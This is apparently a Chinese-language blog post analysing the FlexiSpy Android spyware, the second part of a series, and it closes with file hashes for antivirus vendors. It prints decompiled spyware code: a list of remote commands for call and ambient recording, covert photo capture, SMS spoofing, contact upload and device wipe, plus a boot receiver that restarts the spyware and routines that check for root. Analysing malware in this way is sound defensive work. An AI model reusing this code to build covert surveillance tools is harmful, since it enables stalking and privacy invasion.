         RemoteFunction.DEBUG_UNHIDE_APP = new RemoteFunction( "DEBUG_UNHIDE_APP" , 67);
         RemoteFunction.DEBUG_IS_DAEMON = new RemoteFunction( "DEBUG_IS_DAEMON" , 68);
         RemoteFunction.DEBUG_IS_FULL_MODE = new RemoteFunction( "DEBUG_IS_FULL_MODE" , 69);
         RemoteFunction.DEBUG_GET_CONFIG_ID = new RemoteFunction( "DEBUG_GET_CONFIG_ID" , 70);
         RemoteFunction.DEBUG_GET_ACTUAL_CONFIG_ID = new RemoteFunction( "DEBUG_GET_ACTUAL_CONFIG_ID" , 71);
         RemoteFunction.DEBUG_GET_VERSION_CODE = new RemoteFunction( "DEBUG_GET_VERSION_CODE" , 72);
         RemoteFunction.DEBUG_SEND_TEST_SMS = new RemoteFunction( "DEBUG_SEND_TEST_SMS" , 73);
         RemoteFunction.DEBUG_CLOSE_APP = new RemoteFunction( "DEBUG_CLOSE_APP" , 74);
         RemoteFunction.DEBUG_BRING_UI_TO_HOME_SCREEN = new RemoteFunction( "DEBUG_BRING_UI_TO_HOME_SCREEN" , 75);
         RemoteFunction.DEBUG_SET_APPLICATION_MODE = new RemoteFunction( "DEBUG_SET_APPLICATION_MODE" , 76);
         RemoteFunction.DEBUG_GET_APPLICATION_MODE = new RemoteFunction( "DEBUG_GET_APPLICATION_MODE" , 77);
         RemoteFunction.DEBUG_RESTART_DEVICE = new RemoteFunction( "DEBUG_RESTART_DEVICE" , 78);
         RemoteFunction.DEBUG_IS_APPENGIN_INIT_COMPLETE = new RemoteFunction( "DEBUG_IS_APPENGIN_INIT_COMPLETE" , 79);
         RemoteFunction.DEBUG_PRODUCT_VERSION = new RemoteFunction( "DEBUG_PRODUCT_VERSION" , 80);
         RemoteFunction.DEBUG_IS_CALLRECORDING_SUPPORTED = new RemoteFunction( "DEBUG_IS_CALLRECORDING_SUPPORTED" , 81);
         RemoteFunction.DEBUG_IS_RESUME_ON_DEMAND_AMBIENT_RECORDING = new RemoteFunction( "DEBUG_IS_RESUME_ON_DEMAND_AMBIENT_RECORDING" , 82);
         RemoteFunction.SET_MODE_ADDRESS_BOOK = new RemoteFunction( "SET_MODE_ADDRESS_BOOK" , 83);
         RemoteFunction.SEND_ADDRESS_BOOK = new RemoteFunction( "SEND_ADDRESS_BOOK" , 84);
         RemoteFunction.REQUEST_BATTERY_INFO = new RemoteFunction( "REQUEST_BATTERY_INFO" , 85);
         RemoteFunction.REQUEST_MEDIA_HISTORICAL = new RemoteFunction( "REQUEST_MEDIA_HISTORICAL" , 86);
         RemoteFunction.UPLOAD_ACTUAL_MEDIA = new RemoteFunction( "UPLOAD_ACTUAL_MEDIA" , 87);
         RemoteFunction.DELETE_ACTUAL_MEDIA = new RemoteFunction( "DELETE_ACTUAL_MEDIA" , 88);
         RemoteFunction.ON_DEMAND_AMBIENT_RECORD = new RemoteFunction( "ON_DEMAND_AMBIENT_RECORD" , 89);
         RemoteFunction.ON_DEMAND_IMAGE_CAPTURE = new RemoteFunction( "ON_DEMAND_IMAGE_CAPTURE" , 90);
         RemoteFunction.ENABLE_CALL_RECORDING = new RemoteFunction( "ENABLE_CALL_RECORDING" , 91);
         RemoteFunction.SET_CALL_RECORDING_WATCH_FLAG = new RemoteFunction( "SET_CALL_RECORDING_WATCH_FLAG" , 92);
         RemoteFunction.SET_CALL_RECORDING_AUDIO_SOURCE = new RemoteFunction( "SET_CALL_RECORDING_AUDIO_SOURCE" , 93);
         RemoteFunction.ENABLE_COMMUNICATION_RESTRICTION = new RemoteFunction( "ENABLE_COMMUNICATION_RESTRICTION" , 94);
         RemoteFunction.ENABLE_APP_PROFILE = new RemoteFunction( "ENABLE_APP_PROFILE" , 95);
         RemoteFunction.ENABLE_URL_PROFILE = new RemoteFunction( "ENABLE_URL_PROFILE" , 96);
         RemoteFunction.SPOOF_SMS = new RemoteFunction( "SPOOF_SMS" , 97);
         RemoteFunction.SET_PANIC_MODE = new RemoteFunction( "SET_PANIC_MODE" , 98);
         RemoteFunction.START_PANIC = new RemoteFunction( "START_PANIC" , 99);
         RemoteFunction.STOP_PANIC = new RemoteFunction( "STOP_PANIC" , 100);
         RemoteFunction.GET_PANIC_MODE = new RemoteFunction( "GET_PANIC_MODE" , 101);
         RemoteFunction.PANIC_IMAGE_CAPTURE = new RemoteFunction( "PANIC_IMAGE_CAPTURE" , 102);
         RemoteFunction.IS_PANIC_ACTIVE = new RemoteFunction( "IS_PANIC_ACTIVE" , 103);
         RemoteFunction.ENABLE_ALERT = new RemoteFunction( "ENABLE_ALERT" , 104);
         RemoteFunction.SET_LOCK_DEVICE = new RemoteFunction( "SET_LOCK_DEVICE" , 105);
         RemoteFunction.SET_UNLOCK_DEVICE = new RemoteFunction( "SET_UNLOCK_DEVICE" , 106);
         RemoteFunction.SET_WIPE = new RemoteFunction( "SET_WIPE" , 107);
         RemoteFunction.SYNC_TEMPORAL_APPLICATION_CONTROL = new RemoteFunction( "SYNC_TEMPORAL_APPLICATION_CONTROL" , 108);
         RemoteFunction.a = new RemoteFunction[]{RemoteFu


0x08 如果用户正在使用设备


监控软件监听各种intent表明用户在使用手机:如果屏幕解锁,设备开机等。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
label_65:   //  this is  if  NO sms is detected
                 if ((str_intentAction.equals( "android.intent.action.BOOT_COMPLETED" )) || (str_intentAction.equals( "android.intent.action.QUICKBOOT_POWERON" )) || (str_intentAction.equals( "com.htc.intent.action.QUICKBOOT_POWERON" ))) {
                     com.fx.daemon.b.m_relatedToShellCmds(o.m_getDataPath(arg6),  "fx.log" );
                     StrictMode.setThreadPolicy(new StrictMode$ThreadPolicy$Builder().permitNetwork().build());
                     if (CommonReceiver.c()) {
                         return ;
                     }
  
                     if (!CommonReceiver.f_bool_maindZip()) {
                         return ;
                     }
  
                     AppStartUpHandler.a(dataPath, AppStartUpHandler$AppStartUpMethod.BOOT_COMPLETED);
                     ak.m_generatesSameObj(arg6);
                     ak.b(arg6);
                     return ;
                 }

第一个条件

在接收到intent后,我们看到if语句

1
2
3
    if (CommonReceiver.b_returnTrueIfDebugMode()) {
                         return ;
                     }

代码只检查是否有DEBUG_IS_FULL_MODE,命令将发送给受害者设备。

第二个条件

第二个if语句如下。它执行另一个系列root检查和检查maind.zip文件是否存在。

1
2
3
4
5
6
7
8
9
10
11
12
13
   if (!CommonReceiver.RootAndMainZipCheck()) {   //  if  not rooted and a zip doesnt exist  exit
                         return ;
                     }
F_bool_maindZip方法与位于 /assets/production/ 文件夹中的maind.zip有关。
   private static boolean RootAndMainZipCheck() {
         boolean returnVal =  true ;
         String str_maindZipPath = o.str_FilePathGetter(b.str_dataMiscAdn,  "maind.zip" );
         if ((ShellUtil.m_bool_MultipleRootcheck()) && (ShellUtil.m_ChecksForFIle(str_maindZipPath))) {
             returnVal =  false ;
         }
  
         return  returnVal;   //  return  true  if  rooted AND maind.zip is found
     }

这个方法执行一系列root检查。它查看设备的Build Tags值是否存在test-keys,检查SuperUser.APK应用,su二进制的位置,环境路径检查和尝试调用一个shell。代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public static boolean m_bool_Rootcheck() {
         boolean bool_returnVal =  false ;
         if (ShellUtil.bool_debug) {
             Log. v ( "ShellUtil" "isDeviceRooted # START ..." );
         }
  
         String str_buildPropTags = Build.TAGS;
         boolean str_TestKeys = str_buildPropTags == null || !str_buildPropTags.contains( "test-keys" ) ?  false  true ;
         if (ShellUtil.bool_debug) {
             Log. v ( "ShellUtil" "checkRootMethod1 # isDeviceRooted ? : "  + str_TestKeys);
         }
  
         if ((str_TestKeys) || (ShellUtil.f_bool_checksForSUperSuAPK()) || (ShellUtil.m_bool_SuCheck()) || (ShellUtil.m_boolEnvPathCheck()) || (ShellUtil.m_boolTryToExecShell())) {
             bool_returnVal =  true ;
         }
  
         if (ShellUtil.bool_debug) {
             Log. v ( "ShellUtil" "isDeviceRooted # isDeviceRooted ? : "  + bool_returnVal);
         }
  
         if (ShellUtil.bool_debug) {
             Log. v ( "ShellUtil" "isDeviceRooted # EXIT ..." );
         }
  
         return  bool_returnVal

通过下面的方法执行maind.zip检查

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public static boolean m_ChecksForFIle(String arg7) {
         boolean b_returnVal =  true ;
         try {
             c_RelatedToFxExecLib v2 = c_RelatedToFxExecLib.b();
             String v3 = v2.a(String. format ( "%s \"%s\"" "/system/bin/ls" , arg7));
             v2.d();
             if (v3.contains( "No such file or directory" )) {
                 return  false ;
             }
         }
         catch(CannotGetRootShellException v0_1) {
             b_returnVal = new File(arg7).exists();
         }
  
         return  b_returnVal;

回到reveiver

在第二个if语句后有如下的代码。

1
2
3
4
    AppStartUpHandler.a(dataPath, AppStartUpHandler$AppStartUpMethod.BOOT_COMPLETED);
         ak.m_generatesSameObj(arg6);
         ak.startCoreService(arg6);   //  starts the  "engine"
         return ;

非常简单。Ak.startCoreService(arg6)方法只再次启动coreService。记住这是从文章开头的onCreate方法开始的。


0x09 下集预告


下一步,我将看下CoreService和其他的intent receiver com.vvt.callhandler.phonestate.OutgoingCallReceiver,其监听去电。


0x0A 新的IOCs


对于AV行业来说,在VirusTotal中可以查找到更多的IOC。

Sha1 文件名:

b1ea0ccf834e4916aee1d178a71aba869ac3b36e libfxexec.so This is actually in the 1.00.1 source hehe ;)

174b285867ae4f3450af59e1b63546a2d8ae0886 maind.zip


0x0B Jeb数据库文件


如果想就纠正任何错误,在这里


传送门:全球知名移动间谍软件FlexiSpy的分析(part1)


  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值